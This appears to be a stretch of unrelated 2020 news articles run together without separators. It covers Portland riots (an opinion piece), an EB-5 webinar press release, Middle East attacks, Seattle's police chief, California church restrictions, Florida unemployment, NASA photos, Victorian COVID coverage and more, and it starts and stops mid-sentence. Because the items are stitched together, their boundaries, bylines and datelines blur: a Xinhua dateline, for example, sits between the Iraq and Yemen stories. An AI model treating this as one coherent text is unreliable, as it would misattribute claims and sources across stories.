which was all the federal government had asked the city to do months ago. Rather than admit the deal was a tacit acknowledgement Portland had failed its basic responsibility to maintain law and order, Oregon Gov. Kate Brown pretended it was a victory against jackbooted feds who acted as an occupying force and brought violence. But Browns rhetoric is dishonest, as she knows better than most. There were nightly riots for weeks before the feds arrived in downtown Portland. Along with Minneapolis and Seattle, Portland holds the dubious distinction of being a city that has failed to protect its own buildings. Rioters had already burned the Multnomah County Justice Center jail and the Portland Police Bureau headquarters, just a few blocks away from the federal courthouse. Speaking as an Oregonian and former resident of Portland, Ill note that the citys problems go far beyond the recent riots. Business leaders have been begging City Hall to address law and order issues for years. In 2017, the CEO of Columbia Sportswear, one of Oregons most beloved companies, wrote a blistering op-ed about the citys problems. A few days ago, one of our employees had to run into traffic when a stranger outside our office followed her and threatened to kill her, Tim Boyle wrote. On other occasions our employees have arrived at work only to be menaced by individuals camping in the doorway. And our employees have had so many car break-ins downtown that we have started referring to parking in Portland as our laptop donation program. Given these experiences, it is a relief when the only thing we are dealing with is the garbage and human waste by our front door. Think about that for a minute. This is outrageous and unacceptable. Anyone who has spent time in Portland comes to understand the mutually beneficial relationship between the homeless and itinerant gutter-punks who are the main source of the citys crime and violence and the left-wing activists whose radical agenda of decriminalization lets them control the streets. After police responded to Boyles plea to keep excrement out of the doorway of his business, Boyle found himself on the receiving end of organized protests, forcing him to shut down Columbias flagship store downtown. The city has also been capitulating to threats of left-wing political violence for years. Also in 2017, Portland canceled its annual Rose parade after anti-fascists threatened violence because members of the Multnomah County Republican Party were among the many civic groups slated to march. Its one thing to claim that violence is justified against unwanted federal officers invading your city but threatening local residents with violence because they are Republicans? Even then, the city rolled over and in doing so conceded that violent left-wing activists control Portland. Thats not hyperbole taking control of the city was literally one of the threats made in the anonymous email that caused officials to cancel the parade: You have seen how much power we have downtown and that the police cannot stop us from shutting down roads so please consider your decision wisely. Who exactly is in charge in Portland? Well, its not Mayor Ted Wheeler, whos spent years openly disparaging and undermining his own police force even as he let antifa direct traffic in his city. Youd think this would endear Wheeler to the radicals hes trying to appease, but when he recently made a supportive appearance at the courthouse protests downtown the crowd booed and yelled at him to resign. At this point, its insulting to insist that American consumers of news cant distinguish legitimate protest from violent rioting that has devastated Portland and dozens of other cities. Similarly, theres plenty of room for criticism of heavy-handed federal and police tactics, while still understanding that we cant stand by and let violent mobs burn courthouses. But if covering a story from multiple angles used to be the norm in the media, its not anymore. Ultimately, members of the media have a choice to make you can be honest about the alarming evidence of law and order breaking down in American cities. Or you can continue to torch your credibility by downplaying the nightly violence for reasons that appear overtly partisan. Please consider your decision wisely. Read more at: RealClearPolitics.com and BlackLiesMatter.news. An estimated $12 Billion is projected to be redeployed over the next four years, and for many stakeholders, compliance will come at a heavy cost. Specialty financial administrator NES Financial, a JTC Company (LON: JTC), announced today that it will host its next EB-5 webinar, EB-5 Trends and Redeployment During COVID, with Jason Orlosky, Head of Bridgeway Asset Management at Bridgeway Wealth Partners; Scott Fuller, CEO & Managing Partner at Capital United, EB-5 United; Joseph Haggenmiller, President at LCR Capital Partners; Ronald Fieldstone, Partner at Saul Ewing Arnstein & Lehr; and Rohit Kapuria, Counsel at Saul Ewing Arnstein & Lehr. The informational webinar is scheduled for August 12 at 2 p.m. Eastern Time and will be moderated by Jeff Drinkwater, Regional Vice President, Business Development, at NES Financial. The event is free and open to the public to attend. The global spread of COVID-19 has upended entire economies. The EB-5 Program has been hit especially hard because each of its three key component industries: employment, immigration, and real estate development, have deteriorated as social distancing regulations force furloughs, defaults and closures. Our panel of experts will discuss the trends and how the EB-5 industry is evolving in the face of a pandemic. In addition to discussing how COVID is impacting the EB-5 market, the panel will address the latest guidance issued by the USCIS. After years of asking for specific guidance on the further deployment of investment capital, USCIS surprised us all by releasing a Policy Manual update with unprecedented retroactive implications, said Drinkwater. An estimated $12 Billion is projected to be redeployed over the next four years, and for many stakeholders, compliance will come at a heavy cost. To RSVP and attend this webinar, please click here for more details or visit nesfinancial.com. NES Financials suite of EB-5 Solutions is designed to provide security and transparency to issuers and investors over the entire EB-5 process no matter what external influences may arise. Whether utilizing select products or the entire bundle, these solutions take care of the middle- and back-office administration so issuers can focus on project success and investors stay informed. As market leaders in the industry, more than 700 projects, representing over $20B in EB-5 capital have used NES Financials EB-5 Solutions. About NES Financial NES Financial, a JTC Company (LON: JTC), is a specialty financial administrator which serves sectors characterized by high administrative complexity, increased transaction security needs, and challenging regulatory compliance requirements. The companys purpose-built solutions streamline the administrative processes of these markets simplifying specialized financial transactions, curtailing fraud and abuse, and delivering the utmost in security, transparency and regulatory compliance through each step of an investments life cycle. NES Financial, recognized on the San Francisco Business Times top Bay Area fintech list, has defined industry best practices in each of the markets it serves from 1031 exchanges and the EB-5 program, to private equity and the landmark Opportunity Zones program. NES Financial services more than 300 funds, administers over $20B annually, and has worked with over 700 EB-5 projects. For more information, please visit nesfinancial.com. About JTC PLC JTC PLC is an award-winning provider of fund, corporate and private client services to institutional and private clients. Founded in 1987, JTC PLC has more than 900 people working across its global office network and is trusted to administer more than $110 billion of client assets. The principle of true shared ownership for all employees is fundamental to their culture and aligns them completely with the best interests of their clients and other stakeholders. JTC PLC fund services administer a wide variety of listed and unlisted funds across a diverse range of asset classes, including real estate, private equity, renewables, hedge, debt and other alternatives. The firms corporate services provide company secretarial and administration services to a broad range of clients, including SMEs, public companies, multinationals and sovereign wealth funds. JTC PLCs private wealth services include the formation and administration of vehicles such as trusts, companies and partnerships on behalf of predominantly HNWIs and UHNWIs and their families and dedicated private and family offices. An explosion near the Jraischan border crossing between Iraq and Kuwaiti on Monday evening targeted a convoy carrying equipment for U.S. forces, three Iraqi security forces said. It was not immediately clear if there were any U.S. troops in the convoy or if anyone had been injured in the explosion, which went off just before 9 p.m. Baghdad time (1800 GMT). The Iraqi military denied the incident took place, Reuters reported. Kuwait's Armed Forces on Twitter denied the attack on one of the outposts on its northern boarder with Iraq, affirming that boarders are stable and secure. Vehicles are regularly loaded with military equipment at the crossing, the sources said, and the cargo is usually loaded or unloaded before entering or exiting Iraq. Foreign companies are contracted by U.S. forces to provide security in the area, the Iraqi security sources said. A security source had earlier said that the explosion was caused by an Iraqi Shi'ite Muslim militia targeting a U.S. military base near the crossing by smuggling in an explosive device, and that some staff on the base had been injured. This was later contradicted by other security sources who said a convoy was attacked, not a base. The U.S. Embassy in Kuwait said it was looking into the matter. A little known Iraqi Shi'ite militia group by the name of Ashab al-Kahf claimed responsibility for the attack and published a video showing an explosion at a distance. It said it was able to destroy U.S. military equipment and large parts of the crossing. Source: Xinhua| 2020-08-11 16:05:17|Editor: huaxia Video Player Close SANAA, Aug. 11 (Xinhua) -- At least two people were killed on Tuesday morning when artillery shelling hit their homes in the south of Yemen's northwestern province of Hodeidah, local medics told Xinhua. Ten others, including six children, were wounded by the artillery shelling on the residential area of al-Jah al-A'ala in the district of Bayt al-Faqih. Several houses in the area were also damaged during the exchange of heavy shelling between the Yemeni government forces and the Houthi rebels, said the local residents. Hodeidah has seen a shaky cease-fire between the Yemeni government and the Houthi rebels since both sides reached a UN-sponsored truce agreement in Stockholm in December 2018. Part of the province, including the port city on the Red Sea, is under control of the Houthi rebels, while the government forces have advanced to the southern and eastern districts. Yemen has been mired in civil war since late 2014, when the Iran-backed Houthi group seized control of much of the country's north and forced the Saudi-backed government of President Abd-Rabbu Mansour Hadi out of the capital Sanaa. Enditem Ms. Best, who has been the target of protests over the tactics used by the police to contain demonstrations, has vehemently objected to the extent of the cuts and said she was not invited to help draft the plan for reforms. As she announced her decision to retire in the coming weeks, she said on Tuesday that the council was showing a lack of respect for officers. Efforts by the council to cut her salary and those of her executive team, she said, felt personally vindictive. Ms. Herbold said the loss of Ms. Best was a staggering loss to leaders of the Black and brown community. I am deeply and sincerely sorry that the chief feels councils actions have been disrespectful toward individual officers and that our journey to reimagine community safety has been personally directed at her, Ms. Herbold said in a statement. Mayor Jenny Durkan, in a tearful news conference on Tuesday, said she was disappointed that Ms. Best was leaving and described her as the right person to help reimagine policing based on not only her 28 years in the police department, but her life as a Black woman in Seattle. We had the chief that not only believes in the importance of reimagining policing, she was the person, and probably still will be the person, that helps lead the way for our nation, Ms. Durkan said. President Trump has been critical of cities that he says have not done enough to crack down on the protests that followed Mr. Floyds death, and Attorney General William P. Barr on Tuesday was quick to single out Ms. Bests resignation to highlight what he called the real costs of irresponsible proposals to defund the police. Ms. Best had drawn criticism from protesters as a result of the sometimes harsh tactics used by officers during the turbulent weeks when thousands of people took to the streets this summer. Some demonstrators went recently to Chief Bests neighborhood outside the city to protest at her home, but were rebuffed by neighbors with guns. DA declares California county a 'sanctuary county' for church worship gatherings Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment San Luis Obispo County, located in central California, has become a sanctuary county for churches struggling to cope state restrictions on worship gatherings. San Luis Obispo County District Attorney Dan Dow confirmed late last month he will not prosecute churches for holding worship services or for singing in church, which was deemed unlawful by an order from California Gov. Gavin Newsom. In many counties, pastors have had to decide between revolting or abiding by the order. Newsoms order to ban or limit church gatherings has led to lawsuits from churches and even a federal court ruling in May, where District Judge John A. Mendez ruled that Newsoms order is legal during the COVID-19 crisis. I declare San Luis Obispo County a sanctuary county for singing and praising in our houses of worship, Dow said in a video shared via Twitter. Inherent with my responsibility to enforce the law is the discretion I have to pursue only those charges that are warranted and are in the interest of justice. More than 30 counties in California are not allowed to gather for church services, according to Newsoms order that places even greater restrictions on counties included in the states COVID-19 watch list. Gatherings of 10 people or more in households in those counties are also banned, essentially prohibiting some in-home Bible study gatherings. Whether a church can legally gather or not, singing during worship is disallowed under Newsoms order. Churches in other counties not on the watch list are permitted to gather in limited capacities as long as they follow social distancing guidelines. In Dows Twitter announcement, he referenced an Independence Day speech he gave in which where he spoke about the importance of the First Amendment. It was in the July 4 speech that he first declared that San Luis Obispo County would be a sanctuary county for worship and praise in church. Daw contended that the military makes sacrifices to bring freedoms that are uniquely American. He said he stands by the speech, reaffirming his stance on Newsoms gathering ban. Now more than ever in 2020, we need more people attending their houses of worship and seeking help from the Almighty for an answer to the coronavirus, Dow said. In that spirit, Im calling on people of faith in our county and across our state, across our country and across the world, to pray for peace [and] healing. San Luis Obispo County has 2,254 coronavirus cases and 16 coronavirus-related deaths as of Monday, according to a Los Angeles Times virus tracker. The county has significantly fewer cases than some of its larger, more urban neighbors. By comparison, Los Angeles County has nearly 209,000 cases as of Monday. Dow also acknowledged the thousands of prisoners that have been freed in California due to the coronavirus. He stressed how unfair it would be if he were to prosecute a person for attending a religious service. At this time our state is letting tens of thousands of state prisoners out of prison who were convicted and sentenced for very serious crimes because were concerned they might catch the coronavirus, Dow said. It would be, in my opinion, the very definition of insanity if we simultaneously branded a person of faith as a criminal for singing in a house of worship, Dow continued. It would be a severe injustice for my office to charge a person with a crime who has simply chosen to practice their faith by singing with their congregation. Not all people of faith see Newsoms order as an attack on religious freedom. Pastor John Cox of Riverpark Bible Church in Fresno told The Christian Post earlier this year that the ban put his church in a tricky situation. But he does not want to worship in defiance of the law. "It put us in a tricky spot. We want to be who God ordered us to be. But also, [we] want to be gracious and submit to leadership," Cox said. "We don't want to worship in defiance or to stand against the government, but as the people of God." Riverpark has halted in-person services and has held online services since the restrictions began. Cox said he thought the bans used vague language, so his church is being safe by remaining online. In Ventura County, a judge granted a temporary restraining order last week against Godspeak Calvary Chapel and its Pastor Rob McCoy. The church is ordered to adhere to statewide and county public health orders requiring that church services be held outdoors with congregants wearing masks and adhering to social distancing protocols. A new online resource to guide young people into a career in the screen industries, has been launched by Northern Irelands Creative Learning Centres. The Screen Academies website (www.screenacademiesni.org) highlights industry-led courses to train young people for jobs in areas such as film-making, animation, games development, and set design. Applications are currently open for 16-19 year olds not attending or enrolled at university for the BFI Film Academy, Games Development Academy and the second phase of the Foundation Academy for Animation. Jennifer McAlorum, Screen Academies Manager at Nerve Belfast Creative Learning Centre, said: These are exciting opportunities for young people to get hands-on training in the creative industries, to meet like-minded people, network, and learn from industry professionals. "Our ultimate goal for the Academies is to introduce new local talent to the sector. The website features six Screen Academies including the BFI Film Academy, Games Development, Foundation Academy for Animation, Visual Effects, Production Design and Film Construction. Website visitors can apply for courses, view work by previous students, and access profiles of the industry professionals who deliver the Academy training sessions and are drawn from Northern Irelands growing screen sector. Richard Williams, Chief Executive of Northern Ireland Screen, said:We want more young people coming into this exciting industry and the Academy model is specifically designed to give them real, hands-on experience with award-winning and extremely successful companies who are already working across Film & TV, Animation, Gaming and VFX. The Screen Academies are delivered by Northern Irelands three Creative Learning Centres: Nerve Belfast, Nerve Centre and AmmA Centre. The Screen Academies are supported by the Department of Communities through Northern Ireland Screen, and part funded by the BFI and Belfast Harbour. The Screen Academies based in Belfast are further supported by Flax Arts Studio management of Havelock House. Anyone who required more information can contact Jennifer McAlorum via screenacademies@nervecentre.org. Disentangling the latest jobless figures is a nightmare. But it goes without saying that, as furlough is phased out and firms wake up to the realisation that they can operate effectively with fewer workers, the numbers will zip up. The lockdown and pandemic are life-changing experiences for many, which is why payroll numbers have tumbled by 730,000 since March, with many joining the economically inactive. The lockdown and pandemic are life-changing experiences for many, which is why payroll numbers have tumbled by 730,000 since March, with many joining the economically inactive What is clear is that Covid-19 has proved devastating for the UK's employment miracle, with the Bank of England forecasting 7.5 per cent joblessness by year-end and private sector forecaster Goldman Sachs projecting 9.5 per cent. These are outcomes which, for a younger generation of people unfamiliar with the privations of 1980s or more recently the aftermath of the financial crisis of 12 years ago, will be shocking and unfamiliar. The big question is: what to do? There are a series of micro-economic steps that can be taken, notably making sure that apprenticeships and skills training are powered up. The bottom line is that macro policies, in the shape of fiscal and monetary support, will be necessary to tackle the Covid-19 growth and jobs catastrophe. It might seem perverse at a moment of eye-watering deficits and national debt but the best way of creating growth is through incentives. Chancellor Rishi Sunak's summer eats scheme, to fire up the hospitality sector, shows how the economy can be brought back to life. Extending the moratorium on business rates and carefully targeted VAT cutbacks could avert more high street implosions. Further breaks on the employer's contribution to national insurance, postponing rises in corporation tax and improving the R&D tax regime would all support employment. If revenues do have to rise to pay for such measures then it must be time for a swingeing tax on digital clicks on the Silicon Valley giants and to abolish the tax relief that big corporations and private equity enjoy for debt financing. The Bank of England has reached deep, with 300billion of extra quantitative easing. It can do more and one would expect a further 100billion of monetary expansion before year end. This would ensure the banking system doesn't clog up and shore up the 530billion of deficit financing required in 2020-21. There also is a case for making permanent the temporary 20-per-week rise in universal credit. Yes, it may be seen as a shirkers' charter. Providing safe space for those who have become economically inactive after a global emergency is the least to be expected from a civilised society. All's Wells Nobody could accuse Mike Wells of sitting on his hands in lockdown. The Prudential chief executive has speeded US insurer Jackson Life to the finish line for an initial public offering or demerger in January 2021. Jackson has been recapitalised and gained a credit rating. Wells prefers a partial float, releasing capital for Asia, but accepts that if market conditions aren't right then the Pru would go for a M&G style demerger to existing investors instead. Hopefully, the big focus for Wells is Asia and Africa. Pru is going gangbusters there, with its Pulse online operations fuelling a 14pc uplift in operating profits and a distribution deal in Thailand. The commitment to Hong Kong and China looks firm in spite of the 'fever pitch' in Sino-American relations. The shock for investors will be rebasing the dividend at one-third of previous levels. The timing is less than fortuitous. Investors are asked to get their heads around the notion that the divi is a relic and now shared among M&G, Jackson and Asian Pru. As a growth insurer Pru wants to keep capital strong, reduce debt and finance growth. The dividend is taking the strain but the shares keep rising. Soft power Making head or tail of Softbank's dizzying pace of deals is hard. But a disposal of its stake in T-Mobile, after the merger with Sprint, and a surge in the value of soon-to-float Vision Fund holdings Lemonade and Big Commerce Holdings has eased pressure on chief executive Masayoshi Son. Speculation continues that a diminished Cambridge-based Arm Holdings is next down the slipway. Someone in Whitehall needs to wake up to this fast. LINCOLN The Nebraska Public Service Commission will host a hearing to investigate wireline service quality issues in the telephone exchanges of Oshkosh, Lewellen and Chappell that the PSC will hold a hearing beginning at 12:30 p.m. MDT Aug. 19 at the Oshkosh Auditorium, 600 W. Second St. in Oshkosh, according to a press release from PSC. This is the second hearing by the Commission to investigate wireline service quality issues. The commission has determined a second hearing should be held to explore whether the issues have been resolved and whether there are any other wireline service quality issues consumers in the Oshkosh, Lewellen and Chappell telephone exchanges are experiencing. During our first hearing we heard from citizens about unburied cables, along with service quality and customer service issues, said Commission Chair Mary Ridder. If additional issues remain, we are hoping subscribers will come and share their concerns with us. Photograph: Cristobal Herrera-Ulashkevich/EPA Crystal Tucker of Polk county, Florida, has spent months trying to solve issues with her unemployment benefits since she was furloughed in March 2020 from her job in the admissions department at Legoland in the Orlando area. Like millions of other people in Florida and across the country, Tucker is a victim of an unemployment system unable to cope with the record number of claims that have swept the country during the coronavirus pandemic. In Florida the situation is particularly catastrophic. Tucker started to receive benefits, but she was deemed ineligible when she completed her weekly filings on 10 June because she had resigned from her position as a claims supervisor at Walmart after 14 years before taking the job at Legoland. Tucker quit due to a flare-up of lupus, an autoimmune disease, just as her workloads increased due to job cuts in her department. She was worried about the impact a coronavirus infection could have on her already-compromised immune system. I am now homeless, said Tucker. I have no vehicle and have sold everything of value, so I would be able to pay for my doctor appointments, medications and dog food. I dont know how much longer I can keep it together. Floridas unemployment system has come under harsh scrutiny since the pandemic reached US shores and unemployment soared. During an interview with CBS Miami last week, Floridas governor, Ron DeSantis, admitted the states unemployment system was deliberately designed with several roadblocks to deter people from applying for benefits. The admission confirms claims from one of his advisers in an April 2020 interview with Politico that the states unemployment system was set up to make it difficult for people to obtain and continue receiving benefits. The state has one of the lowest benefit payouts in the US, capped at a maximum of $275 a week. The processing of unemployment claims in Florida has improved compared with the first few months of the pandemic, but thousands of people are still waiting on payments or their claims to be processed, trying to fix claims where they were deemed ineligible for benefits or struggling to obtain backdated payments to their claims. Story continues According to the state of Floridas dashboard, over 3.28m confirmed unemployment claims were filed between 15 March and 4 August. More than 633,000 claims were deemed ineligible for state or federal unemployment benefits, over 68,000 claims are in a queue awaiting to be processed and nearly 100,000 processed claims are still awaiting payment. Tucker had an appeal hearing scheduled for 28 July, but a Walmart representative didnt appear, and it was rescheduled for 18 August. In the meantime, Tucker has no health insurance, and had to sell her jewelry to cover $450 for doctor appointments and medical costs, and cant afford to schedule follow-up visits recommended by her doctor. She was renting a room from a couple before the pandemic, but had to move out when she could no longer afford rent and currently sleeps on a couch in a sunroom at a friends house. I have spent hours upon hours calling different unemployment numbers to get help with issues on my claim, added Tucker. There is no reason my unemployment should have been denied. I did everything right. Demonstrators protest at Lake Eola Park on 10 June against the Florida unemployment benefits system. Photograph: John Raoux/AP As thousands of people in Florida continue trying to solve issues with their unemployment benefits, the expiration of $600-a-week expanded unemployment benefits from the federal government on 26 July has forced those still unemployed to rely on the state maximum benefits of $275 a week. Congress remains deadlocked over a possible extension of the additional payments. Monika Bon has been furloughed indefinitely since 9 March from her job in land security for cruise ships in Port Canaveral, Florida. It took her until 24 May to complete and process her unemployment application, but she is still having problems in receiving her backdated payments for 10 weeks. I used up every dime I had those few months I could not get into the department of economic opportunity system, said Bon. In Lakeland, Florida, Lauren Baker has been furloughed from her position as a bookkeeper and doesnt expect to be recalled until at least December. Since her furlough, she has struggled to appeal against her eligibility determination, which initially stated she didnt make enough in wages to qualify for state unemployment benefits. I made over $15,000 with my current employer, but they still said my wages were not sufficient. Ive submitted my wage records weekly since May. I call daily. I email dozens of representatives a week, said Baker, who is still struggling to resolve her problems with the system. I missed out on about seven weeks of federal payments and thousands of dollars in missing benefit payments because of my incorrect eligibility determination. After 20 weeks of calling, sending emails and trying to process her unemployment claim, Lillie Blaney finally began receiving her unemployment benefits after she was laid off as a production clerk for a transportation company based in Bradenton, Florida, in April. Its been really tough. I had to go to food banks, put my mortgage on forbearance, get help from churches to pay some utilities and mortgage assistance, said Blaney. Florida lawmakers have criticized a recent decision to award a new $135m contract to Deloitte Consulting for modernizing Floridas Medicaid database while the firms 2011 contract for the unemployment portal site is under investigation. A class-action lawsuit was filed in April against Floridas department of economic opportunity and Deloitte Consulting alleging negligence and breach of fiduciary duty for not properly maintaining and operating the state unemployment benefits system. A judge is currently reviewing whether the lawsuit will be allowed to proceed. Floridas system has been broken for a long time, said Marie Mattox, an attorney based in Tallahassee, Florida, who filed the lawsuit. There are so many people in Florida who have been hurt by the delays in getting paid, not getting paid at all, and there are still people not getting paid. Our hope is nobody else will have to go through this again. A restored replica of the original Mayflower ship that brought the Pilgrims to America 400 years ago this year is nearing its home in Plymouth following extensive renovations. The Mayflower II set off from the Massachusetts Maritime Academy in Bourne on Monday where it docked over the weekend, on its way to its berth at Pilgrim Memorial State Park in Plymouth. The 64-year-old historic reproduction has spent the last three years in Mystic, Connecticut, getting $11.2 million in renovations. The vessel, which was a gift from England in 1957, began the slow journey home last month making stops at other Connecticut and Massachusetts ports. It stopped in New London, Connecticut as well as New Bedford, Massachusetts, but had to cancel a planned visit to Newport, Rhode Island because of new coronavirus-related travel restrictions imposed on that state. A cruise into Boston Harbor alongside the USS Constitution was previously cancelled because of the pandemic. The original return voyage had called for a celebratory departure in late April with several stops in New England ports before a May arrival in Plymouth. A NASA astronaut has released the images of the enchanted Islands of Ecuador the Galapagos, photographed aboard the International Space Station with the Expedition 55 crew. Shared on the official handle of NASA Astronauts, the images depict the iconic view of the island from more than 200 miles above our Earth. Thick clouds can be seen hovering above the Galapagos Islands and sun glint beaming across the deep emerald waters off the coast of Ecuador as ISS orbited above the Pacific Ocean. Internet was astonished at the scenic beauty of the volcanic islands cluster. Cassidy and two Russian cosmonauts Anatoly Ivanishin and Ivan Vagner went for their mission on Soyuz MS-16 spacecraft in April 2020, according to NASA. Russian space agency Roscosmos astronaut launched from the Baikonur Cosmodrome in Kazakhstan at stations service module around 10:13 am and reached space after a four-orbit, six-hour flight. NASA flight engineers Andrew Morgan and Jessica Meir and Expedition 62 Commander Oleg Skripochka of Roscosmos were also onboard. NASA Television and the agencys website provided live coverage of the launch. Cassidy is the Expedition 63 commander. Beautiful pass over the Galapagos Islands today! pic.twitter.com/kvOAvvFmC8 Chris Cassidy (@Astro_SEAL) August 10, 2020 Read: NASA InSight Lander Uncovers Mars' Surface Details In Seismograph Data Read: NASA Says Laser Beams Reflected Between Earth And Moon, Could Enhance Experiments Internet studies features appreciates photo NASA wrote in the statement sharing the images on the website, For almost 20 years, humans have lived and worked continuously aboard the International Space Station, advancing scientific knowledge and demonstrating new technologies, making research breakthroughs not possible on Earth. Internet users were mesmerized at the beauty of the image and poured in a slew of reaction. To witness our beautiful planet in such a way, truly humbling, said a user. Must be very therapeutic for you to have photography as an outlet up there, wrote another. I see several seahorses and a heart on the right. Beautiful picture! said third. Galapagos resident blue-footed booby says "Hi" (or whatever boobies say.) pic.twitter.com/7ViZLkKaDy Kathleen Lyons (@kaybuenoesyo) August 10, 2020 I didn't see those islands like this before, a nice views, thank you Commander Cassidy, sir. pic.twitter.com/VFilNLUQ2W Francisco Felix Rojas (@frankfelix80) August 11, 2020 That integral sign is chasing me haha. Incredible shots pic.twitter.com/DOpElomnRF bruno (@brunonzera) August 10, 2020 you this morning over through Brazil :) pic.twitter.com/kFE19xpdZZ Andressa (@schererandressa) August 10, 2020 Hi Chris, could you try and get a photo of Ireland if you are passing over anytime soon? It's been nearly 10 years since we last had a photo taken of the emerald Isle. Thanks Earth Watch (@earthwatchspace) August 10, 2020 Wow ! Sir Charles would be proud ! Great clouds and a great capture of the Trinity of Volcanoes - #Wolf, #Darwin, and #Alcedo !!! @DaveAtCOGS ...I don't see any #Dodos ? MillG ...masking the benefit of a mask sb unmasked (@grainreader) August 10, 2020 Wow!! Thank you for the beautiful photos.I observed the Perseid meteor shower yesterday. Can you see shooting stars from the ISS? (@spitz_orion8823) August 11, 2020 Read: Perseid Meteor Shower Filmed By NASA's All-Sky Fireball Network Read: NASA's Voyager 2 Became First Spacecraft To Observe Neptune On This Day In 1989 By PTI AURANGABAD: The Maharashtra government should pay a compensation of Rs 10 lakh each to families of people who died during Maratha agitations and also provide jobs to their kin, a community outfit said on Tuesday and warned of stir if the demands were not accepted in a week. The Maratha Kranti Thok Morcha (MKTM) said its members will stage an agitation in Mumbai if the demands were not fulfilled by the state government in a week. "If the demands are not looked into, volunteers would undertake an agitation in Mumbai," Ramesh Kere Patil, the organisation's coordinator, said at a press meet here in central Maharashtra. "There are 42 people who lost their lives in getting justice for the Maratha community. Their (kin) should be accommodated in government service and each family should also get a compensation of Rs 10 lakh," he said. Also, people who took part in a Maratha community agitation at Mumbai's Azad Maidan in 2018 should be accommodated in government jobs, Patil said. In the last few years, Maratha organisations had staged a series of agitations in support of their various demands, including reservation in jobs and education for the community. MKTM had been part of these agitations. Credit: Unsplash/CC0 Public Domain Media coverage of disasters follows a broadly similar trajectory, even though the disasters themselves might take very different forms. The COVID-19 crisis in Victoria is no exception. Although it is unfolding over a long time instead of in a single dramatic episode, it is possible to see familiar patterns emerging, and events over the past three weeks indicate that a notable shift has taken place. From impact and responsewhich constitute the first two phases of disaster coveragethe focus has broadened to include the blame phase. From a media perspective, this can be called the accountability phase. This shift can be explained to some extent by a change in political rhetoric. The theme of unity across levels of government and party lines has begun to fracture, particularly with remarks by the federal treasurer, Josh Frydenberg, directed at the Victorian government. On August 7 he said Victorians deserved answers about "serious failures with deadly consequences" in the state's coronavirus hotel quarantine system. However, Frydenberg was only echoing what the media had already started to investigate, and journalists with trusted sources had begun getting leaks. In mid-July, The Age drew on leaked emails to reveal that a senior bureaucrat in the Department of Jobs, Precincts and Regions raised the alarm on March 28. Senior people in the Department of Health and Human Services and Emergency Management Victoria were urged to ask Victoria Police to deploy officers to the quarantine hotels. According to the newspaper, the police were not asked, so no police were sent. Two months later, the first case was logged of a security guard at Rydges on Swanston testing positive for coronavirus. This cluster grew rapidly to six cases. Even though this startling information was now in the public domain, Victorian Premier Daniel Andrews remained focused on impact and response. When asked what went wrong with hotel quarantine, he would say only that he was ultimately responsible and that retired judge Jennifer Coate's inquiry would provide the answers. Meantime, he would not be running a commentary on it. Victorian Health Minister Jenny Mikakos took the same line in state parliament on August 4. She later tweeted, though, that she was "deeply sorry" if her efforts had not been enough. "Let the cards fall where they may," she said, referring to the inquiry. Principled though this is, it shows the government has not sufficiently appreciated that the trajectory of the coverage has undergone that important shift, from impact and response to accountability. Coate has herself licensed public debate about these matters. In failing to respond to repeated questions both in parliament and at the premier's daily media briefings, the government has lost control of the accountability narrative. A report in The Age and Sydney Morning Herald on August 8 rammed home this point. It stated that the executive director of employment in the Department of Jobs, Precincts and Regions had been removed from their role over the quarantine bungle. It went on to describe a well-intentioned, if misguided, decision to engage a company called Unified Security in the hotel quarantine operation. Unified was reported to have satisfied the criteria for receiving contracts under the government's social inclusion procurement policy. Moreover, the government's international trade agency, Global Victoria, with no obvious experience in security or public health, reportedly also had a role in establishing the quarantine arrangements. Even before these revelations, frustration was building among reporters at the government's refusal to engage on the issue of accountability. At Andrews' daily briefing on August 6, a reporter from The Australian, Rachel Baxendale, pressed the premier for answers. The upshot was that Baxendale, who was only doing her job, became the completely undeserving target of a stream of online hatred, including death threats. This response suggests several things. First, some people have a sociopathic problem with strong women in the media who try to hold powerful men to account. We saw it recently with a similar attack on the ABC's Leigh Sales after she had interviewed the prime minister on the 7.30 program. Second, Daniel Andrews may retain considerable support in the wider community for fronting up every day to tell unwelcome truths. It stands in sharp contrast to the crass name-calling indulged in by Liberal MP Tim Smith, which has undermined the efforts of his leader, Michael O'Brien, to offer constructive proposals for economic recovery. Third, the public may still be very much absorbed in the impact and response phases of the disaster and not ready to move on to the accountability phase. This is sometimes difficult for the media to judge. In the aftermath of the 2009 Black Saturday bushfires, the Victorian media were noticeably slower to get into the accountability phase than were the national and interstate media. Victoria-based journalists and editors said that, in covering a disaster close to home, it was important not to get into the blame game while the community to whom they were publishing was still acutely anxious and grieving. With an ongoing disaster, this judgment becomes even more delicate. However, a second line of inquiry in pursuit of accountability that might be more in tune with community sentiment is open to the media: what went wrong in privately run nursing homes, for which the federal government is responsible? Minister for Aged Care Richard Colbeck has not been giving daily briefings. Some close questioning of him might be in order, with less risk of public blow-back. Explore further Aged care crisis reflects poor preparation and a broken system This article is republished from The Conversation under a Creative Commons license. Read the original article. There were conflicting reports on Israeli military activity near the Lebanese border today. On Tuesday, Lebanons state-run National News Agency reported that three Israeli tanks crossed into Lebanese territory near the town of Meiss El Jabal. The Israeli newspaper Arutz Sheva reported that the Israeli military acknowledged conducting a patrol near the Lebanese border within Israeli territory that included the use of tanks. The news comes at a tense time in Israel-Lebanon relations, especially regarding the Lebanese military and political organization Hezbollah. In July, Hezbollah reported that one of its fighters was killed by an Israeli airstrike in Syria. Israel is suspected of regularly bombing Hezbollah and other Iran-backed groups in Syria. Hezbollah previously said it would avenge any deaths of its fighters in Syria at the hands of Israel. Days later, Israel said it thwarted a border attack from Hezbollah. Last week, Israel said it shot down a drone that crossed into its airspace in the Golan Heights. Lebanon is still reeling from the fallout from last weeks explosion in Beirut that left more than 200 dead and much of the city in ruins. On Monday, the entire governmental cabinet resigned, citing popular demand. Israel has offered to help Lebanon with disaster recovery though the countries do not have formal relations. The title of this chapter alludes to Gordon Brown's continual refrain as the UK's Chancellor of the Exchequer from 1997 to 2007 - 'no return to boom and bust' was a phrase he repeated many times. The Dot-Com Bubble led Brown, among many others, to conclude that bubbles do not have major negative economic or social consequences and that central banks can save us from the excesses of irrational exuberance. Devastating housing bubbles and banking collapses only happened in faraway lands or in the distant past. But Brown's bubble was well and truly burst with the 2008 global financial crisis. There were Cassandras warning that disaster was impending. A handful of economists such as Yale's Robert Shiller and Raghuram Rajan, during his tenure as Chief Economist at the International Monetary Fund, warned about the housing bubble in the United States. Morgan Kelly, an economics professor at University College Dublin, provoked by the inane utterings of professional economists, simply looked at the data and made the prognosis that not only was Ireland going to have a substantial fall in property prices, but that its banking system would implode in the process. But these were all voices crying in the wilderness. Bertie Ahern, at that time the Irish Prime Minister, 